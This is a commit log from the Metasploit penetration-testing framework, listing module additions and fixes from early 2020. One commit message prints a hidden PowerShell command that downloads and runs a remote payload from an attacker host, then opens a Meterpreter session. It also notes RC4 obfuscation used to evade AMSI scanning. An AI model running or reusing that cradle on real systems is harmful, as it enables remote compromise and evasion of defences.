Adam Galway 607b7ae5ae moves logic for bad paths to common.rb 2020-03-04 10:41:19 +00:00
Tim W 7f6f7fea3e add osx as a target 2020-03-04 13:37:19 +08:00
Tim 9f56867f6c Apply suggestions from code review
Co-Authored-By: adamgalway-r7 <54621924+adamgalway-r7@users.noreply.github.com>
2020-03-04 11:55:33 +07:00
bluesentinelsec 7d1c1f1f16 Added new post module: install_python 2020-03-03 23:02:01 -05:00
William Vu 865d15975b Add automatic grammar selection by version number 2020-03-03 18:44:48 -06:00
William Vu 975eb742cb Add old grammar target and refactor check 2020-03-03 17:41:04 -06:00
William Vu 260aa0533a Add check method and reorder mixins for super
Also fix copypasta'd vulnerable commit.
2020-03-03 17:41:04 -06:00
William Vu c003b0d293 Add module notes 2020-03-03 17:41:04 -06:00
William Vu 9be6b0a81e Add module doc 2020-03-03 17:41:04 -06:00
William Vu 498d01aaa3 Add OpenSMTPD CVE-2020-8794 LPE exploit 2020-03-03 17:41:04 -06:00
Metasploit fe1b85a873 automatic module_metadata_base.json update 2020-03-03 17:32:10 -06:00
William Vu ba924b3047 Land #13014, Exchange ECP ViewState exploit 2020-03-03 17:23:17 -06:00
William Vu 4759f7d39d Check for nil res 2020-03-03 17:17:28 -06:00
William Vu 573b8302ec Fix missing var and change default target 2020-03-03 17:15:19 -06:00
Spencer McIntyre a4feaec188 Implement a check method for cve-2020-0688 2020-03-03 14:22:27 -05:00
Metasploit b4cac0c414 automatic module_metadata_base.json update 2020-03-03 13:21:30 -06:00
Shelby Pace 29dcd0fd81 Land #12929, store enumerated users w DB_ALL_USERS 2020-03-03 13:13:16 -06:00
kalba-security cd6c01ae9d Add suggestions from code review. 2020-03-03 20:17:13 +02:00
0x44434241 fb00818cab Optionally store enumerated SMB usernames in DB.
This responds to issue #12359, where it was noted that enumerated
usernames from this module were not being stored in the database. Since
they are not a credential pair of user:pass, I have made it an optional
feature with 'DB_ALL_USERS', which is consistent with other scanning
modules.
2020-03-03 11:47:28 -06:00
Spencer McIntyre 5574eaa591 Make a new .NET serialization lib 2020-03-03 10:41:59 -05:00
Metasploit f0630d7479 Bump version of framework to 5.0.79 2020-03-02 16:46:42 -06:00
Pearce Barry 98a6147403 Land #13019, Revert "Land #12960, add ttl to job results instantiated from an RPC request" 2020-03-02 16:40:34 -06:00
Jeffrey Martin 908ce3d36b Revert "Land #12960, add ttl to job results instantiated from an RPC request"
This reverts commit ff8bb2e16f, reversing
changes made to ae28463ec6.
2020-03-02 15:58:13 -06:00
Metasploit 8d0816fb37 automatic module_metadata_base.json update 2020-03-02 15:31:51 -06:00
Shelby Pace 12faf3fad5 Land #12959, add eyes of network rce module 2020-03-02 15:22:51 -06:00
Shelby Pace c16edad4e6 add verify_api method, checks on data 2020-03-02 15:10:46 -06:00
Metasploit 333b2e66d1 automatic module_metadata_base.json update 2020-03-02 14:28:37 -06:00
William Vu cc24a572f5 Land #13018, module notes for wvu's recent modules 2020-03-02 14:20:07 -06:00
William Vu cc974e7f25 Add module notes to my recent modules 2020-03-02 14:15:52 -06:00
Metasploit 694f34cdd9 automatic module_metadata_base.json update 2020-03-02 13:28:02 -06:00
Spencer McIntyre 07cc7deae8 Land #13015, updates and fixes for login scanners
This PR updates login scanners to work with stored usernames and
sets the last_attempted_at value in smb_login.
2020-03-02 14:18:48 -05:00
Shelby Pace 75ca930670 add prepend_db_usernames to smb_login 2020-03-02 11:50:19 -06:00
Spencer McIntyre 167f1027c4 Address initial PR feedback 2020-03-02 12:21:24 -05:00
Shelby Pace 8a1bb02e80 set last_attempted_at 2020-03-02 10:48:56 -06:00
Shelby Pace c4b2288f52 enable adding usernames to cred_collection 2020-03-02 10:18:11 -06:00
Spencer McIntyre b3867dc200 Finish up the cve-2020-0688 module 2020-03-02 10:51:25 -05:00
dwelch-r7 26c529b101 Land #12998, Allows for use of aux as a type in search 2020-03-02 13:20:32 +00:00
dwelch-r7 a2f2af7e97 Land #13012, Fix error handling when a plugin load fails 2020-03-02 11:28:52 +00:00
Alan Foster 7c70245807 Fix error handling when a plugin load fails 2020-03-02 09:16:55 +00:00
Metasploit 67792666ef automatic module_metadata_base.json update 2020-03-01 20:32:12 -06:00
Brent Cook 0fd15cb9c1 Land #13007, add module description for binder_uaf 2020-03-01 20:23:21 -06:00
Spencer McIntyre 203b2486ae Commit some work on the module for a milestone 2020-03-01 11:07:32 -05:00
cn-kali-team 106ef40376 Add Function alloc_and_write_wstring and alloc_and_write_string 2020-03-01 14:28:46 +08:00
cn-kali-team a147ce907b Add document 2020-03-01 14:27:44 +08:00
cn-kali-team e2e6c15c31 Remove alloc_and_write_str Function, Move structure to accounts.rb file 2020-03-01 14:25:03 +08:00
Pearce Barry 5e3cbaee66 Land #13000, add cmd/unix/reverse_ssh test stub 2020-02-29 09:40:37 -06:00
cn-kali-team 94de45d856 Fix Bug 2020-02-29 23:22:56 +08:00
Tim W 196c354ede chrome 80 jscreate rce 2020-02-29 18:41:04 +08:00
cn-kali-team 60f4787123 Exception handling and automatic get_domain info 2020-02-29 15:26:39 +08:00
cn-kali-team a248983ca8 Change the get_domain function to optional 2020-02-29 15:25:41 +08:00
Tim W 327917c015 add documentation 2020-02-29 15:07:49 +08:00
Tim W 889f91241a add documentation 2020-02-29 14:30:59 +08:00
Tim W dd35086e75 add module description to the binder_uaf module 2020-02-29 11:24:06 +08:00
Metasploit 4bb4afcd75 automatic module_metadata_base.json update 2020-02-28 10:58:33 -06:00
William Vu 91bcd76776 Land #13006, AutoCheck for OpenSMTPD CVE-2020-7247 2020-02-28 10:50:08 -06:00
William Vu e92b9ef97c Use AutoCheck mixin in OpenSMTPD CVE-2020-7247
Also updates the check to be more precise. I had originally copied the
check method from the Morris worm Sendmail exploit:

220 simh Sendmail 5.51/5.17 ready at Wed, 18 Dec 85 11:14:07 PST

Note that there was no "ESMTP" string in 1985's Sendmail.
2020-02-28 10:42:02 -06:00
cn-kali-team 9fa339eca8 Add an option,Fully implemented through API 2020-02-29 00:22:58 +08:00
cn-kali-team e9c16fb2bb New Function and Fix data type in the NetLocalGroupAddMembers parameter 2020-02-29 00:20:09 +08:00
cn-kali-team 2ef04153b4 Add Api Constants 2020-02-29 00:18:48 +08:00
cn-kali-team 1420fa9d8b Add Function 2020-02-29 00:14:55 +08:00
Spencer McIntyre 078652749d Switch how channel class args are passed around 2020-02-28 10:10:47 -05:00
Metasploit cc5df836a9 Bump version of framework to 5.0.78 2020-02-28 09:01:35 -06:00
Jeffrey Martin cda9fd2a08 lock license_finder at 5.11.1 due to bundler 2.x 2020-02-28 08:57:19 -06:00
Spencer McIntyre 29608d13bf Save some work before changing context 2020-02-28 08:30:59 -05:00
kalba-security f60f60db7f Set stance to aggressive to prevent the HTTPServer mixing from trying to make this a job 2020-02-28 13:01:51 +02:00
kalba-security 755a776a88 Merge branch 'eyesofnetwork_autodiscovery_rce' of https://github.com/kalba-security/metasploit-framework into eyesofnetwork_autodiscovery_rce 2020-02-28 12:23:37 +02:00
kalba-security 5ee7fcaf4a Add simple changes suggested in code review. 2020-02-28 12:14:38 +02:00
Erik Wynter 2c0ea83286 Apply suggestions from code review
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-02-28 11:29:09 +02:00
kalba-security a4ded39d62 Remove unnecessary empty lines in docs. Mostly to restart the Travis CI build check because it got stuck. 2020-02-28 10:34:14 +02:00
Spencer McIntyre c9d9d3af29 Figured out how to generate the viewstate 2020-02-27 21:57:08 -05:00
William Vu 0693f17170 Land #13005, pry-byebug integration 2020-02-27 11:37:02 -06:00
Alan Foster fc49df003d Integrate pry-byebug 2020-02-27 17:25:17 +00:00
kalba-security 99ed3afab3 Change filenames for consistency with existing modules 2020-02-27 17:08:23 +02:00
Jeffrey Martin ffd5a0b39d add cmd/unix/reverse_ssh test stub 2020-02-27 09:07:37 -06:00
kalba-security 280d1767b4 Add Nagios XI < 5.6.6. exploit module and documentation 2020-02-27 16:58:15 +02:00
Metasploit 3b1ead48fa automatic module_metadata_base.json update 2020-02-27 03:00:15 -06:00
William Vu 22fe846b39 Land #13002, Expect mixin cleanup 2020-02-27 02:51:11 -06:00
William Vu 4cd52c5f32 Reorder Expect mixin's send_expect parameters 2020-02-27 02:48:11 -06:00
Metasploit f3c6eeceac automatic module_metadata_base.json update 2020-02-27 02:25:50 -06:00
William Vu 59aa854c5d Land #13001, OpenSMTPD CVE-2020-7247 fixes 2020-02-27 02:16:02 -06:00
William Vu 8820944696 Fix exploit/unix/smtp/opensmtpd_mail_from_rce 2020-02-27 02:11:08 -06:00
Tim W e36db605a6 Land #12907, update unix_users.txt 2020-02-27 15:18:31 +08:00
Metasploit 0292e5c282 automatic module_metadata_base.json update 2020-02-26 10:50:37 -06:00
Spencer McIntyre f2fead66f9 Land #12865, add features to the rdi post module 2020-02-26 11:41:26 -05:00
Spencer McIntyre 061d76ebed Clarify some around new functionality
Add some verbiage that clarifies options and messages regarding
the new functionality privded in the reflective_dll_inject module.
2020-02-26 11:31:34 -05:00
Metasploit b44415a1f6 automatic module_metadata_base.json update 2020-02-26 09:39:17 -06:00
dwelch-r7 1b949807c6 Land #12997, Fix msftidy warnings for commented out refs 2020-02-26 15:30:46 +00:00
Adam Galway 31754f71e4 replaces type:aux with type:auxiliary on search 2020-02-26 15:13:02 +00:00
Alan Foster af9d2a28de Fix msftidy warnings 2020-02-26 14:56:08 +00:00
Metasploit 908bdaa5f9 automatic module_metadata_base.json update 2020-02-26 07:56:03 -06:00
dwelch-r7 40d068ca8c Land #12995, Add support for smbv2 to pipe auditor 2020-02-26 13:49:11 +00:00
Alan Foster ff8bb2e16f Land #12960, add ttl to job results instantiated from an RPC request 2020-02-26 13:42:30 +00:00
Metasploit ae28463ec6 automatic module_metadata_base.json update 2020-02-26 06:28:10 -06:00
dwelch-r7 7d6906b225 Land #12992, Fix a typo 2020-02-26 12:21:12 +00:00
Metasploit d5bdfe7253 automatic module_metadata_base.json update 2020-02-26 06:13:19 -06:00
dwelch-r7 f7a772902b Land #12952, Add additional pry dependencies 2020-02-26 12:02:40 +00:00
dwelch-r7 d26e281787 Land #12994, Remove executable flags from modules 2020-02-26 11:59:47 +00:00
dwelch-r7 89bea26763 Replace results count with something that works and added tests 2020-02-26 11:52:45 +00:00
Alan Foster 353f4281bd Add additional pry dependencies 2020-02-26 11:31:35 +00:00
Christophe De La Fuente 664e235e0b Change vprint_bad to vprint_error 2020-02-26 12:17:59 +01:00
Christophe De La Fuente 071b9598a4 Add support to SMBv2 and remove catch-all exception handler 2020-02-26 11:53:41 +01:00
Alan Foster 6bac1ec2aa Remove executable flags from exploit files 2020-02-26 10:39:50 +00:00
paulkell 094fe9c134 Fix for a simple typo. 2020-02-25 19:59:27 -05:00
dwelch-r7 fdf0447ecf Track results size 2020-02-25 15:39:41 +00:00
dwelch-r7 5c94910998 Add a cache to handle the ttl of job results
Remove accidental addition of gem

Remove commented out code

Remove commented out code

Remove commented out code

Refactor job tracking code, remove simple framework tests

finish renaming service to job_state_tracker

add missing require and move alias definition

fix private attr declaration

Add rspec tests

Address PR comments

Use let syntax in tests

Finish refactor moving job state tracker
2020-02-25 13:31:28 +00:00
cn-kali-team ee64f38d8c Added post module for adding local user accounts 2020-02-25 20:03:05 +08:00
cn-kali-team 04d54bc786 Added additional netapi32.dll functions 2020-02-25 20:00:21 +08:00
cn-kali-team 87ee307183 Add New Function 2020-02-25 19:59:36 +08:00
Alan Foster 8190ce7644 land #12419, rpc client - add delete credentials support 2020-02-25 10:59:25 +00:00
adfoster-r7 6f8d7726ea Fix host typo 2020-02-25 10:56:47 +00:00
ticofoo cfd9b12a13 Change handling of elapsed_time as suggested by acammack-r7 2020-02-25 10:14:02 +01:00
Tim W fc1f4936ac fix reverse_powershell on Windows 7 2020-02-25 16:40:19 +08:00
Spencer McIntyre d231c17af8 Show the source port too in the connect command 2020-02-24 19:08:32 -05:00
William Vu ec828d3be2 Land #12971, refactor of AutoCheck and CheckModule 2020-02-24 17:49:17 -06:00
Spencer McIntyre e5fc41a22f Refactor the initialize method to use 'packet' 2020-02-24 14:01:01 -05:00
PierrickV a4c97a0a09 Fix broken links to http://jedicorp.com/?p=534 with archive.org 2020-02-24 18:17:06 +01:00
bwatters-r7 320de0ffbf Land #12978, Add option powershell::exec_rc4 in web_delivery
Merge branch 'land-12978' into upstream-master
2020-02-24 09:42:28 -06:00
Alan Foster 00df264bc9 Land #12916, Colorize HttpTrace output, add an option to show headers only 2020-02-24 11:42:21 +00:00
Adam Galway 6f33c9ad99 Land #12953 fix rpc module check & adds unit tests 2020-02-24 11:26:38 +00:00
Alan Foster 70927f1db1 Land #12964, Adds RPC call for total modules running, ready, and with results 2020-02-24 11:22:03 +00:00
Adam Galway cff41a6e1c rename rpc call to running_stats 2020-02-24 11:09:54 +00:00
Tim W b8e19959e0 Revert "Land #12970, revert reverse_powershell changes"
This reverts commit 7aa89c9d4e, reversing
changes made to 8a5db82224.
2020-02-23 19:22:20 +08:00
Adrian Vollmer ff9dad2b28 Add option powershell::exec_rc4 in web_delivery
This options makes use of RC4 for obfuscating powershell payloads. See
https://github.com/rapid7/rex-powershell/pull/14.

Now that the PR in rex-powershell has been merged, I am submitting this
PR which provides the new option powershell::exec_rc4 to make use of the
functionality added by the other PR. It enables using unstaged payloads
in web_delivery and obfuscates everything with RC4.

At first I wanted to include an AMSI bypass, but the maintainers were
against it, as it is a rapidly moving target. However, please note that
I'm using the same idea in another project of mine
(https://github.com/AdrianVollmer/PowerHub) and Matt Graber's original
AMSI bypass still works when obfuscating each string with RC4.

For verification and testing, the following output shows the steps you
need to take (here all included in the command line). Obviously, LHOST
needs to be adjusted.

    $ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run'
    [...]
    15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) >
    [*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443
    [*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4
    [*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4
    [*] [2019.10.26-15:43:34] Server started.
    [*] [2019.10.26-15:43:34] Run the following command on the target machine:
    powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4');
    [*] [2019.10.26-15:43:37] 192.168.11.3     web_delivery - Delivering Payload (372601) bytes
    [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
    [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session...
    [*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200
    sessions -i 1
    [*] Starting interaction with 1...

    meterpreter > sysinfo
    Computer        : SYSS-AVOLLMER-W
    OS              : Windows 10 (10.0 Build 18362).
    Architecture    : x64
    System Language : de_DE
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x64/windows
2020-02-23 11:32:48 +01:00
Metasploit 43fd35964c automatic module_metadata_base.json update 2020-02-23 03:15:48 -06:00
Brent Cook f59ec03c42 Land #12465, add Android Binder UAF (CVE-2019-2215) 2020-02-23 01:06:33 -08:00
Brent Cook ef8ec13c88 added module docs and testing notes 2020-02-23 01:04:30 -08:00
Brent Cook 15a4fc7499 Land #12914, Update rvm GPG keys in Vagrant provisioner 2020-02-23 00:39:43 -08:00
Brent Cook aac4774551 Land #12951, update module doc template 2020-02-23 00:33:39 -08:00
Brent Cook 0da64cd699 Land #12976, Add additional logging for unknown postgres authtypes 2020-02-23 00:27:02 -08:00
airevan 5a58fbb0e5 Remove space 2020-02-23 14:45:53 +08:00
airevan d102f3e48f Remove space 2020-02-23 13:03:13 +08:00
airevan adaa9e239a Add phpstudy backdoor exploit module 2020-02-23 10:23:32 +08:00
Alan Foster 3ab407d947 Add additional logging for unknown postgres authtypes 2020-02-23 01:27:42 +00:00
airevan bb7ed355f0 Add phpstudy backdoor exploit module 2020-02-22 22:55:45 +08:00
airevan 6a07160bd5 Add phpstudy backdoor exploit module 2020-02-22 19:53:06 +08:00
Metasploit 011ed3602c automatic module_metadata_base.json update 2020-02-21 19:21:50 -06:00
Tim W 7aa89c9d4e Land #12970, revert reverse_powershell changes 2020-02-22 09:12:51 +08:00
Brent Cook 8a5db82224 Land #12973, update Gemfile.lock 2020-02-21 17:10:11 -06:00
William Vu 957b2f2163 Update Gemfile.lock 2020-02-21 17:05:01 -06:00
William Vu 0b133d28a2 Land #12972, msfvenom Zsh completion fix 2020-02-21 16:45:52 -06:00
Spencer McIntyre c23a4b195e Remove the --help-formats option 2020-02-21 17:40:08 -05:00
Metasploit b6bd7031f8 automatic module_metadata_base.json update 2020-02-21 16:05:25 -06:00
William Vu 7f36cfec84 Refactor CheckModule and AutoCheck a bit 2020-02-21 16:00:29 -06:00
Jeffrey Martin 578bf9999f Land #12955, Update logic for ForceExploit in modules 2020-02-21 15:45:12 -06:00
William Vu fda8b6df3c Note that unsetting HttpTraceColors disables color 2020-02-21 14:39:38 -06:00
William Vu 83e06ab59e DRY send_request_cgi into using send_request_raw 2020-02-21 14:36:58 -06:00
William Vu 0a1313f183 Show both color and banners and refactor code
This is the best of both worlds for visibility and copy/pasted output.
2020-02-21 14:18:58 -06:00
Alan Foster 8a59b8cb1c Ensure thread cleanup 2020-02-21 17:36:20 +00:00
dwelch-r7 eb60fa1de1 Land #12968, Fix aux moules check command 2020-02-21 16:30:16 +00:00
tperry-r7 3d388fff0c Changed application to singular. 2020-02-21 09:30:34 -06:00
Metasploit b5be9402b1 automatic module_metadata_base.json update 2020-02-21 09:27:07 -06:00
bwatters-r7 2db93c9051 Land #12002, Feature/reverse ssh
Merge branch 'land-12002' into upstream-master
2020-02-21 09:17:51 -06:00
Metasploit 5b0eab476a automatic module_metadata_base.json update 2020-02-21 08:58:53 -06:00
Christophe De La Fuente f9077bcd8d Land #12704, OpenNetAdmin 18.1.1 Remote Code Execution exploit 2020-02-21 15:49:26 +01:00
Christophe De La Fuente 5e4b83581a Fix indentation issue 2020-02-21 15:47:32 +01:00
Metasploit 00638f2e41 automatic module_metadata_base.json update 2020-02-21 08:07:23 -06:00
h00die fe0e955dc2 Land #12849, oracle_login docs 2020-02-21 08:58:16 -05:00
h00die f451041d4b oracle_login docs 2020-02-21 08:41:42 -05:00
bwatters-r7 9ef6110b54 Revert "Land #12945, fix the cmd/windows/reverse_powershell payload"
This reverts commit 564895e1a8, reversing
changes made to c1b2762b03.

This appears to make it worse.
2020-02-21 06:53:37 -06:00
Metasploit ae6b3d0bf6 automatic module_metadata_base.json update 2020-02-20 21:19:10 -06:00
bwatters-r7 c9e4ca34c3 Land #12921, Updating regex in ms16_075_reflection_juicy exploit windows version check
Merge branch 'land-12921' into upstream-master
2020-02-20 21:10:37 -06:00
Metasploit 57ddd4b37c automatic module_metadata_base.json update 2020-02-20 21:01:48 -06:00
bwatters-r7 564895e1a8 Land #12945, fix the cmd/windows/reverse_powershell payload
Merge branch 'land-12945' into upstream-master
2020-02-20 20:52:46 -06:00
Onur ER e4456c9006 Update opennetadmin_ping_cmd_injection.md 2020-02-21 04:14:21 +03:00
Onur ER f483b80849 Changed to vars_post 2020-02-21 03:48:12 +03:00
Onur ER 695f6869df Update opennetadmin_ping_cmd_injection.rb 2020-02-21 03:13:44 +03:00
Onur ER f90d605c21 Update modules/exploits/unix/webapp/opennetadmin_ping_cmd_injection.rb
Co-Authored-By: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-02-21 03:07:27 +03:00
Onur ER 1fe1506b42 Update documentation/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection.md
Co-Authored-By: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-02-21 03:06:56 +03:00
0x44434241 f6e4b52446 Removing dead code. 2020-02-21 08:33:20 +09:00
Brent Cook c1b2762b03 Land #12966, update DisablePayloadHandler warning msg. 2020-02-20 16:46:48 -06:00
Metasploit c309e2325f Bump version of framework to 5.0.77 2020-02-20 12:06:57 -06:00
William Vu de6306fa35 Fix message, once more with feeling 2020-02-20 11:26:21 -06:00
Alan Foster f780d94ec6 Remove dead code for aux scanner modules check 2020-02-20 16:54:25 +00:00
William Vu 9c69059a24 Fix DisablePayloadHandler warning once and for all 2020-02-20 10:35:47 -06:00
Adam Galway 962e39148f renames rpc call 2020-02-20 14:48:25 +00:00
Adam Galway 8425000ff3 renames rpc call to be more readable 2020-02-20 14:13:39 +00:00
Adam Galway 73d2b2cf2c adds rpc call returning all module stats 2020-02-20 14:04:16 +00:00
Metasploit df277e1406 automatic module_metadata_base.json update 2020-02-20 03:52:12 -06:00
Christophe De La Fuente f484e6c83c Land #12862, Apache James 2.3.2 arbitrary file write exploit module 2020-02-20 10:41:13 +01:00
kalba-security c2f13d906b fix sqli get request syntax 2020-02-20 11:38:43 +02:00
mattaberegg a861ad3f21 Payload handler/cleanup improvement 2020-02-19 18:57:08 -08:00
mattaberegg 739928b56a Added line break to docs 2020-02-19 17:56:13 -08:00
Metasploit 29f5a1c425 Bump version of framework to 5.0.76 2020-02-19 13:39:25 -06:00
William Vu de56cde848 Land #12961, vendored Expect library 2020-02-19 13:10:43 -06:00
Adam Cammack ee80e9eb34 Vendor the stdlib expect for Windows sockets
`expect.rb` is part of the `pty` extension to the Ruby stdlib since it
uses `select` and is meant for use with things like pipes or terminals
and Windows does not allow for selecting on those sorts of handles.
Since we only use it for sockets, we can pull it in straight to allow
for use on Windows without building the whole `pty` extension.
2020-02-19 12:56:36 -06:00
bwatters-r7 1aa412ccc0 add some of bcoles suggested fixes 2020-02-19 13:52:38 -05:00
bwatters-r7 f44f200f49 Remove problematic ruby cmd payloads and fix missing require in reverse_ssh 2020-02-19 13:52:38 -05:00
William Vu 7a9ecd76c5 Land #12946, set PAYLOAD normalization 2020-02-19 11:19:51 -06:00
William Vu c5917048fb Make quotes consistent 2020-02-19 11:19:42 -06:00
Adam Galway e25cf99ce3 improved sub! regex 2020-02-19 17:12:28 +00:00
Adam Galway 9b52ece7b7 simplifies start_with? 2020-02-19 17:06:02 +00:00
Metasploit 9010446a48 automatic module_metadata_base.json update 2020-02-19 10:45:52 -06:00
Shelby Pace db8555e007 Land #12942, add Diamorphine privilege escalation 2020-02-19 10:36:39 -06:00
Adam Galway d670276148 Land #12954, fixes typos in CrossChex exploit docs 2020-02-19 15:40:46 +00:00
kalba-security 9980a96917 Move documentation to correct directory 2020-02-19 16:57:38 +02:00
kalba-security 0d0bd865c8 add eyesofnetwork module and docs 2020-02-19 16:33:04 +02:00
dwelch-r7 a8af2a227e Land #12958, Fix broken module doc link 2020-02-19 14:07:25 +00:00
Alan Foster e1cd219d63 Fix broken module documentation link 2020-02-19 13:02:57 +00:00
0x44434241 4288632203 Applied suggestions from rubocop.
Feedback from bwatters-r7
2020-02-19 16:59:08 +09:00
William Vu 7dc1315dac Update logic for ForceExploit in my modules
This lets the user opt out of running check completely.
2020-02-19 01:06:50 -06:00
Metasploit a016ca4b4f automatic module_metadata_base.json update 2020-02-19 00:55:05 -06:00
William Vu ede90ef9a1 Land #12938, CPU vulns for Linux enum_system 2020-02-19 00:46:32 -06:00
Tim W 89dc1aebf8 add stderr output and attempt to fix utf8 2020-02-19 13:28:53 +08:00
William Vu 0264802756 Reformat module doc 2020-02-18 23:28:08 -06:00
William Vu a34ffb3694 Fix typos in module doc 2020-02-18 23:27:15 -06:00
William Vu 6ad9956af8 Correct module doc filename 2020-02-18 23:24:46 -06:00
William Vu 4fa3b25788 Correct language in crosschex_device_bof 2020-02-18 23:18:45 -06:00
William Vu 48ebd500b6 Land #12948, Zsh completions update 2020-02-18 22:21:20 -06:00
0x44434241 028285de77 Refactoring juicy potato check() logic.
Previously, server 2016/19 was not correctly detected and falsely
reporting as vulnerable, because the check was overly trusting the
reported OS name - see PR #355 for a description of the problem.

Furthermore, I discovered a self-introduced bug in the regex of build
detection, which would in some cases first match on '2016' and not the
build number, which would be less than the five-digit build number for
the forseeable future.

Testing data included in PR comments.

Feedback from @bwatters-r7
2020-02-19 11:19:02 +09:00
Metasploit ef108ea71d automatic module_metadata_base.json update 2020-02-18 19:43:32 -06:00
Tim W aa1fdb2075 Land #12724, server AMSI and SBL separately from psh stager in web_delivery 2020-02-19 09:33:25 +08:00
Tim W 516deaaf49 use rex-powershell 0.1.86 2020-02-19 09:29:47 +08:00
Tim W 0d8a86905a fix sessions -K 2020-02-19 08:30:45 +08:00
Tim W 5497876fd2 fix #12579, make reverse_powershell great again 2020-02-19 07:58:59 +08:00
Spencer McIntyre 0bf6d3e645 Fix a ttypo in the _msfconsole zsh completion 2020-02-18 17:25:40 -05:00
Alan Foster 9c987b8271 Add json rpc tests for module checks 2020-02-18 21:43:15 +00:00
Spencer McIntyre e5befa676f Fix a bug with te tcp_server_channel 2020-02-18 16:06:46 -05:00
Spencer McIntyre 57ef3d9ec6 Use the updated value when port forwarding 2020-02-18 15:31:14 -05:00
Spencer McIntyre 28e9bc5d14 Move the params_hash_from_response class method 2020-02-18 14:17:00 -05:00
Spencer McIntyre fadb51eae3 Make the zsh completion help messages consistent 2020-02-18 13:24:20 -05:00
Spencer McIntyre 7f046a7d89 Update zsh completion definitions 2020-02-18 13:24:20 -05:00
tperry-r7 4de546fa6a Update module doc template
This builds on the changes in https://github.com/rapid7/metasploit-framework/pull/12831 and https://github.com/rapid7/metasploit-framework/pull/12878 to standardize the module documentation. The template matches the changes discussed.
2020-02-18 10:55:13 -06:00
Adam Galway 62eb756fe2 establish parity with #8882 2020-02-18 16:28:44 +00:00
Metasploit 4c11711a44 automatic module_metadata_base.json update 2020-02-18 09:41:22 -06:00
wvu-r7 6718a7dd78 Land #12950, fix for #12949 2020-02-18 09:34:37 -06:00
Brent Cook 9aac803f41 remove a scratchpad line I saved while testing blog link fixes 2020-02-18 09:26:29 -06:00
Metasploit b76e76b00e automatic module_metadata_base.json update 2020-02-18 09:22:58 -06:00
William Vu 6b940a02ca Land #12949, Rapid7 blog reference fixes 2020-02-18 09:14:36 -06:00
Brent Cook 8489bcdfd9 This fixes broken links to the community.rapid7.com blog
Performed mechanically with sed, spot-checked that the new blog can consume these links.
2020-02-18 09:06:11 -06:00
Spencer McIntyre c2326f07c9 Land #12932, optionally show the payload stage
Add the -v flag to optionally show the payload stage in the generate
command.
2020-02-18 08:55:37 -05:00
Adam Galway 235861d4ed removes greedy if 2020-02-18 10:30:36 +00:00
Adam Galway 13784bb35d replaces if statements with regex 2020-02-18 09:51:39 +00:00
Spencer McIntyre 0459e05420 Update returned socket parameters from meterpreter 2020-02-18 00:36:04 -05:00
ticofoo cfd41c49ec Fix bug in owa_login if AUTH_TIME is set to false 2020-02-17 23:32:25 +01:00
Christophe De La Fuente 1b54d27301 Update code #2
- Make error message more descriptive
- Use `Rex.sleep` in stead of `sleep`
- Update `detect_qsl` logic
- Change the first `Exploit::CheckCode` to `Unknown` for the `Check` method
2020-02-17 19:04:32 +01:00
Christophe De La Fuente 828d974db5 Update code and documentation
- Add `OperationMaxRetries` option documentation
- Add default value to `TARGETURI` and update the documentation
- Remove `PosOffset` advanced option and hardcode the value
- Update `Description`
- Move URI encoding logic to `send_crafted_request`
- Refactor `send_crafted_request` to handle the HTTP parameter and final & (%26)
2020-02-17 18:25:10 +01:00
Adam Galway 62e5757baa filters /payload/ from set PAYLOAD values 2020-02-17 16:00:58 +00:00
Christophe De La Fuente 0e9c637364 Randomize filename and HTTP parameter 2020-02-17 15:58:21 +01:00
Metasploit e9f8532a68 automatic module_metadata_base.json update 2020-02-17 06:10:06 -06:00
Christophe De La Fuente 226f4b0a53 Line wrap to 80 columns and small fix
- Line wrap documentation to 80 columns
- Line wrap `Description` field to 80 columns
- Remove unnecessary unless statement
2020-02-17 13:06:32 +01:00
Adam Galway 48ba1026c6 Land 12915, adds windows ssh persistence module 2020-02-17 12:02:49 +00:00
Tim W f630990b3b use random amsi resource url 2020-02-17 10:07:18 +08:00
Metasploit 36f45d5bf3 automatic module_metadata_base.json update 2020-02-16 19:34:53 -06:00
Tim W 808a158c84 Land #12931, fix the OSX password_prompt_spoof prompt module on Mojave and Catalina 2020-02-17 09:23:19 +08:00
Brendan Coles ac6d0e4391 Add Diamorphine Rootkit Signal Privilege Escalation module 2020-02-16 14:53:16 +00:00
Metasploit 8167fee11e automatic module_metadata_base.json update 2020-02-16 08:15:43 -06:00
Brendan Coles 1db1bed08f Land #12892, set default username for mysql and mssql aux login modules
Set default username `sa` for auxiliary/scanner/mssql/mssql_login
Set default username `root` for auxiliary/scanner/mysql/mysql_login

Enable `BLANK_PASSWORDS` option by default for both modules,
as the default users make use of a blank password in by default.
2020-02-16 14:20:56 +00:00
Metasploit c80ab651cb automatic module_metadata_base.json update 2020-02-15 22:25:36 -06:00
Tim W 0bffcd6212 Land #12448, fix cmd/unix/reverse_perl_ssl and cmd/unix/reverse_php_ssl payloads 2020-02-16 12:11:28 +08:00
Brendan Coles d047feeb03 Add check for CPU vulnerability status to enum_system 2020-02-15 14:35:38 +00:00
Metasploit b632a3cc6e automatic module_metadata_base.json update 2020-02-14 21:43:45 -06:00
